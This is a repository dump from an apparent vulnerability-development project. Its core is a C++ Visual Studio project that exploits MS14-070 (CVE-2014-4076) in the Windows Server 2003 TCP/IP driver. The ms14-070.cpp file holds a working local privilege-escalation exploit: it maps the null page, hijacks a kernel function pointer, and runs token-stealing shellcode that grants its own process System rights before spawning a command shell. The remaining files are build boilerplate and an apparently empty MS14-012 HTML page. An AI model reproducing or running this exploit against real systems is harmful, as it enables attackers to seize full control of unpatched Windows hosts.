├── README.md ├── MS14-070 ├── ms14-070 │ ├── stdafx.cpp │ ├── stdafx.h │ ├── targetver.h │ ├── ms14-070.cpp │ └── ms14-070.vcproj └── ms14-070.sln └── MS14-012 └── ms14-012.html /README.md: -------------------------------------------------------------------------------- 1 | # Vulndev 2 | 3 | Vulnerability research and development. 4 | -------------------------------------------------------------------------------- /MS14-070/ms14-070/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // ms14-070.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /MS14-070/ms14-070/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #include 11 | #include 12 | 13 | 14 | 15 | // TODO: reference additional headers your program requires here 16 | -------------------------------------------------------------------------------- /MS14-070/ms14-070/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // The following macros define the minimum required platform. The minimum required platform 4 | // is the earliest version of Windows, Internet Explorer etc. that has the necessary features to run 5 | // your application. The macros work by enabling all features available on platform versions up to and 6 | // including the version specified. 7 | 8 | // Modify the following defines if you have to target a platform prior to the ones specified below. 9 | // Refer to MSDN for the latest info on corresponding values for different platforms. 10 | #ifndef _WIN32_WINNT // Specifies that the minimum required platform is Windows Vista. 11 | #define _WIN32_WINNT 0x0600 // Change this to the appropriate value to target other versions of Windows. 12 | #endif 13 | 14 | -------------------------------------------------------------------------------- /MS14-070/ms14-070.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual Studio 2008 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ms14-070", "ms14-070\ms14-070.vcproj", "{6018D8CD-47A7-4C9A-8ABF-E291274119B6}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {6018D8CD-47A7-4C9A-8ABF-E291274119B6}.Debug|Win32.ActiveCfg = Debug|Win32 13 | {6018D8CD-47A7-4C9A-8ABF-E291274119B6}.Debug|Win32.Build.0 = Debug|Win32 14 | {6018D8CD-47A7-4C9A-8ABF-E291274119B6}.Release|Win32.ActiveCfg = Release|Win32 15 | {6018D8CD-47A7-4C9A-8ABF-E291274119B6}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /MS14-012/ms14-012.html: -------------------------------------------------------------------------------- 1 | 6 | 7 | 8 | 9 | 10 | 11 | 126 | 127 | 128 | -------------------------------------------------------------------------------- /MS14-070/ms14-070/ms14-070.cpp: -------------------------------------------------------------------------------- 1 | // ms14-070.cpp : Defines the entry point for the console application. 2 | // MS14-070: https://technet.microsoft.com/library/security/ms14-070 3 | // Original Exploit: http://blog.korelogic.com/blog/2015/01/28/2k3_tcpip_setaddroptions_exploit_dev 4 | // Tested On: Windows Server 2003 R2 x64 5 | // Author: Darren Kemp 6 | 7 | #include "stdafx.h" 8 | #include 9 | 10 | typedef void (WINAPI *DeviceIoControlFile)(HANDLE,HANDLE,PVOID,PVOID,PVOID,ULONG,PVOID,ULONG,PVOID,ULONG); 11 | typedef NTSTATUS (WINAPI *AllocateVirtualMemory) (HANDLE, PVOID, ULONG_PTR, PSIZE_T, ULONG, ULONG); 12 | 13 | #define INFO_CLASS_PROTOCOL 0x200; 14 | #define INFO_TYPE_ADDRESS_OBJECT 0x200; 15 | #define AO_OPTION_WINDOW 0x22; 16 | 17 | typedef struct TDIEntityID { 18 | unsigned long tei_entity; 19 | unsigned long tei_instance; 20 | } TDIEntityID; 21 | 22 | typedef struct TDIObjectID { 23 | TDIEntityID toi_entity; 24 | unsigned long toi_class; 25 | unsigned long toi_type; 26 | unsigned long toi_id; 27 | } TDIObjectID; 28 | 29 | typedef struct tcp_request_set_information_ex { 30 | TDIObjectID ID; 31 | unsigned int BufferSize; 32 | unsigned char Buffer[1]; 33 | } TCP_REQUEST_SET_INFORMATION_EX, *PTCP_REQUEST_SET_INFORMATION_EX; 34 | 35 | //Shellcode is a quick 64 bit port of https://www.exploit-db.com/exploits/17902 36 | BYTE payload[] = 37 | "\x65\x48\x8b\x04\x25\x88\x01\x00\x00" //mov rax,[gs:0x188] 38 | "\x48\x8b\x40\x68" //mov rax,[rax+0x68] 39 | "\x48\xc7\xc3\x04\x00\x00\x00" //mov rbx,4 40 | "\x50" //push rax 41 | "\x48\x8b\x80\xe0\x00\x00\x00" //mov rax,[rax+0xe0] 42 | "\x48\x2d\xe0\x00\x00\x00" //sub rax,0xe0 43 | "\x39\x98\xd8\x00\x00\x00" //cmp [rax+0xd8],ebx 44 | "\x75\xeb" //jne 15 45 | "\x8b\xb8\x60\x01\x00\x00" //mov edi,[rax+0x160] 46 | "\x81\xe7\xf8\xff\xff\x0f" //and edi,0x0ffffff8 47 | "\x58" //pop rax 48 | "\x48\xc7\xc3\x00\x00\x00\x00" //mov rbx,0xb80 49 | "\x48\x8b\x80\xe0\x00\x00\x00" //mov rax,[rax+0xe0] 50 | "\x48\x2d\xe0\x00\x00\x00" //sub rax,0xe0 51 | "\x39\x98\xd8\x00\x00\x00" //cmp [rax+0xd8],ebx 52 | "\x75\xeb" //jne 3e 53 | "\x89\xb8\x60\x01\x00\x00" //mov [rax+0x160],edi 54 | "\xc3"; //ret 55 | 56 | void patch_payload(DWORD pid) { 57 | payload[58] = (BYTE)(DWORD) pid & 0x000000ff; 58 | payload[59] = (BYTE)(((DWORD) pid & 0x0000ff00) >> 8); 59 | payload[60] = (BYTE)(((DWORD) pid & 0x00ff0000) >> 16); 60 | payload[61] = (BYTE)(((DWORD) pid & 0xff000000) >> 24); 61 | } 62 | 63 | int trigger() { 64 | TCP_REQUEST_SET_INFORMATION_EX buf; 65 | memset(&buf, 0, sizeof(buf)); 66 | 67 | buf.ID.toi_entity.tei_entity = 0x400; 68 | buf.ID.toi_entity.tei_instance = 0; 69 | buf.ID.toi_class = INFO_CLASS_PROTOCOL; 70 | buf.ID.toi_type = INFO_TYPE_ADDRESS_OBJECT; 71 | buf.ID.toi_id = AO_OPTION_WINDOW; 72 | buf.BufferSize = 4; 73 | 74 | DeviceIoControlFile pDeviceIoControlFile = (DeviceIoControlFile) GetProcAddress(GetModuleHandle(TEXT("ntdll.dll" )),"ZwDeviceIoControlFile"); 75 | 76 | if (!pDeviceIoControlFile) { 77 | printf("[-] Failed to resolve ZwDeviceIoControlFile.\n" ); 78 | return -1; 79 | } 80 | 81 | HANDLE hTCP = CreateFileA("\\\\.\\Tcp" ,FILE_SHARE_WRITE|FILE_SHARE_READ,0,NULL,OPEN_EXISTING,0,NULL); 82 | if (!hTCP) { 83 | printf( "[-] Failed to open TCP device.\n" ); 84 | return -1; 85 | } 86 | 87 | printf("[+] Triggering vulnerability.\n"); 88 | pDeviceIoControlFile(hTCP,NULL,NULL,NULL,&buf,0x00120028,&buf,sizeof(buf),0,0); 89 | 90 | printf("[+] Dropping you to a shell.\n"); 91 | system("cmd.exe"); 92 | 93 | return 0; 94 | } 95 | 96 | int _tmain(int argc, _TCHAR* argv[]) { 97 | UINT magic = 0x00001397; //This value will get us through a few branches we need to get to an exploitable path 98 | ULONG target = 0x1f00; 99 | 100 | SIZE_T null_page_size = 0x1000; 101 | SIZE_T sc_size = 0xFF; 102 | 103 | PVOID null_page = (PVOID) 1; 104 | PVOID sc = (PVOID) 0x1f00; 105 | PVOID offset = (PVOID) 0x50; //Pass a check to take a branch we need 106 | PVOID offset_ptr = (PVOID) 0x190; //Location of the function pointer we hijack 107 | 108 | printf("CVE-2014-4076 / MS14-070\n"); 109 | 110 | AllocateVirtualMemory pAllocateVirtualMemory = (AllocateVirtualMemory) GetProcAddress(GetModuleHandle(TEXT("ntdll.dll" )),"ZwAllocateVirtualMemory"); 111 | 112 | if (!pAllocateVirtualMemory) { 113 | printf("[-] Failed to resolve ZwAllocateVirtualMemory."); 114 | return -1; 115 | } 116 | 117 | DWORD pid = (DWORD) GetCurrentProcessId(); 118 | printf("[+] Will attempt to elevate PID %u.\n", pid); 119 | 120 | patch_payload(pid); 121 | 122 | printf("[+] Mapping null page.\n"); 123 | pAllocateVirtualMemory((HANDLE)-1, &null_page, 0, &null_page_size, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); 124 | 125 | printf("[+] Mapping payload at %p.\n", sc); 126 | pAllocateVirtualMemory((HANDLE)-1, &sc, 0, &sc_size, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); 127 | 128 | memset(null_page,0,null_page_size); 129 | memset(sc,0xcc,sc_size); 130 | 131 | memcpy(offset_ptr,&target,sizeof(target)); 132 | memcpy(offset,&magic,sizeof(magic)); 133 | memcpy(sc,payload,sizeof(payload)-1); 134 | 135 | return trigger(); 136 | } 137 | -------------------------------------------------------------------------------- /MS14-070/ms14-070/ms14-070.vcproj: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 15 | 16 | 17 | 18 | 19 | 26 | 29 | 32 | 35 | 38 | 41 | 52 | 55 | 58 | 61 | 68 | 71 | 74 | 77 | 80 | 83 | 86 | 89 | 90 | 98 | 101 | 104 | 107 | 110 | 113 | 124 | 127 | 130 | 133 | 142 | 145 | 148 | 151 | 154 | 157 | 160 | 163 | 164 | 165 | 166 | 167 | 168 | 173 | 176 | 177 | 180 | 183 | 187 | 188 | 191 | 195 | 196 | 197 | 198 | 203 | 206 | 207 | 210 | 211 | 212 | 217 | 218 | 221 | 222 | 223 | 224 | 225 | 226 | --------------------------------------------------------------------------------